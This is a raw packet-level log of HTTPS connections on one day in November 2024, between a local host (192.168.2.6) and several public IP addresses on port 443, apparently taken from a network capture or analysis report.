Nov 18, 2024 02:34:14.499933958 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.499943018 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.500003099 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.500827074 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.500849962 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.500910997 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.500917912 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.500962019 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.501918077 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.501939058 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.501993895 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.502001047 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.502043009 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.503551006 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.503571987 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.503623009 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.503631115 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.503659010 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.503693104 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.504522085 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.504540920 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.504589081 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.504596949 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.504622936 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.504643917 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.505517960 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.505537033 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.505580902 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.505588055 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.505618095 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.505639076 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.592056036 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.592156887 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.592200041 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.592263937 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.592420101 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.592436075 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.592451096 CET	49713	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.592458010 CET	443	49713	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.656564951 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.656588078 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.656685114 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.657125950 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.657144070 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.658634901 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.658735037 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.658842087 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.659178972 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.659216881 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.659272909 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.659375906 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.659413099 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.659424067 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.659460068 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.660393953 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.660455942 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.660516977 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.661062002 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.661072016 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.661128044 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.661185026 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.661211967 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:14.661267042 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:14.661281109 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.027510881 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 02:34:15.027575016 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 02:34:15.055977106 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.056229115 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.056317091 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.056369066 CET	49714	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.056397915 CET	443	49714	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.322915077 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.322949886 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.323056936 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.323451042 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.323463917 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.355704069 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 02:34:15.389173985 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.389816046 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.389859915 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.390489101 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.390501976 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.390744925 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.391057968 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.391082048 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.391577959 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.391590118 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.395328045 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.395622015 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.395639896 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.396116972 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.396127939 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.400639057 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.400933027 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.400954008 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.400969982 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.401293039 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.401313066 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.401473999 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.401484966 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.401928902 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.401935101 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.518277884 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.518352985 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.518452883 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.518666983 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.518716097 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.518748045 CET	49718	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.518764019 CET	443	49718	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.522686005 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.522732973 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.522821903 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.523026943 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.523046970 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.524595022 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.524616003 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.524673939 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.524692059 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.524703979 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.524769068 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.525018930 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.525036097 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.525046110 CET	49719	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.525049925 CET	443	49719	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.525137901 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.525531054 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.525589943 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.525654078 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.525654078 CET	49716	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.525670052 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.525680065 CET	443	49716	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.528664112 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.528693914 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.528765917 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.528915882 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.528939962 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.528980970 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.528995037 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.529030085 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.529180050 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.529206991 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.541743994 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.541773081 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.541848898 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.541850090 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.541904926 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.541930914 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.541973114 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.542026043 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.542047977 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.542071104 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.542078018 CET	49715	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.542085886 CET	443	49715	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.542087078 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.542159081 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.542243958 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.542265892 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.542289019 CET	49717	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.542300940 CET	443	49717	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.545018911 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.545052052 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.545120955 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.545294046 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.545309067 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.545965910 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.545985937 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.546082973 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.546339989 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:15.546351910 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:15.964322090 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.964406013 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.966859102 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.966872931 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.967201948 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.968903065 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.969069958 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.969111919 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:15.969180107 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:15.969201088 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:16.250119925 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.250788927 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.250807047 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.251384974 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.251389980 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.264261961 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.264442921 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.264705896 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.264714003 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.265221119 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.265224934 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.274455070 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.274468899 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.275021076 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.275052071 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.282191992 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.282757998 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.282785892 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.283338070 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.283344030 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.300231934 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.300685883 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.300707102 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.301248074 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.301253080 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.376533031 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.376785994 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.376876116 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.376980066 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.377022028 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.377049923 CET	49721	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.377064943 CET	443	49721	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.380553961 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.380599022 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.380708933 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.380954981 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.380970001 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.393306971 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.393377066 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.393441916 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.393615007 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.393615007 CET	49723	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.393636942 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.393657923 CET	443	49723	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.396470070 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.396505117 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.396588087 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.396763086 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.396780014 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.402930975 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.403068066 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.403137922 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.403203964 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.403219938 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.403233051 CET	49722	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.403239965 CET	443	49722	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.405921936 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.405936003 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.406022072 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.406193018 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.406213045 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.412636042 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.412866116 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.412924051 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.412960052 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.412971020 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.412997961 CET	49725	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.413003922 CET	443	49725	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.415385962 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.415406942 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.415478945 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.415621996 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.415633917 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.428750992 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.428911924 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.428982019 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.429049015 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.429061890 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.429075956 CET	49724	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.429081917 CET	443	49724	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.431750059 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.431761026 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.431859016 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.432049036 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:16.432064056 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:16.556174040 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:16.556308031 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:16.556473017 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:16.556757927 CET	49720	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:16.556777000 CET	443	49720	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:16.633173943 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:16.633197069 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:16.633295059 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:16.634155035 CET	49731	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:34:16.634169102 CET	443	49731	40.115.3.253	192.168.2.6
Nov 18, 2024 02:34:17.006259918 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:17.006298065 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:17.006431103 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:17.006979942 CET	49732	443	192.168.2.6	188.114.97.3
Nov 18, 2024 02:34:17.006998062 CET	443	49732	188.114.97.3	192.168.2.6
Nov 18, 2024 02:34:17.117305994 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.117753029 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.117763996 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.118261099 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.118267059 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.121347904 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.123107910 CET	443	49706	173.222.162.64	192.168.2.6
Nov 18, 2024 02:34:17.123197079 CET	49706	443	192.168.2.6	173.222.162.64
Nov 18, 2024 02:34:17.124538898 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.124556065 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.124974012 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.124980927 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.146966934 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.147680044 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.147689104 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.147769928 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.148561001 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.148567915 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.149440050 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.149450064 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.150273085 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.150279045 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.154251099 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.183257103 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.183265924 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.184240103 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.184248924 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449197054 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449204922 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449269056 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449317932 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449419975 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.449539900 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449578047 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.449621916 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.449646950 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449649096 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449691057 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.449703932 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.449706078 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449712992 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449727058 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.449727058 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.449769974 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449789047 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449851990 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.449902058 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.450331926 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.450479984 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.450547934 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.451656103 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.451663971 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.451678038 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.451683044 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.452286005 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.452286005 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.452294111 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.452305079 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.453568935 CET	49728	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:17.453574896 CET	443	49728	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:17.453680992 CET	49728	443	192.168.2.6	13.107.246.45
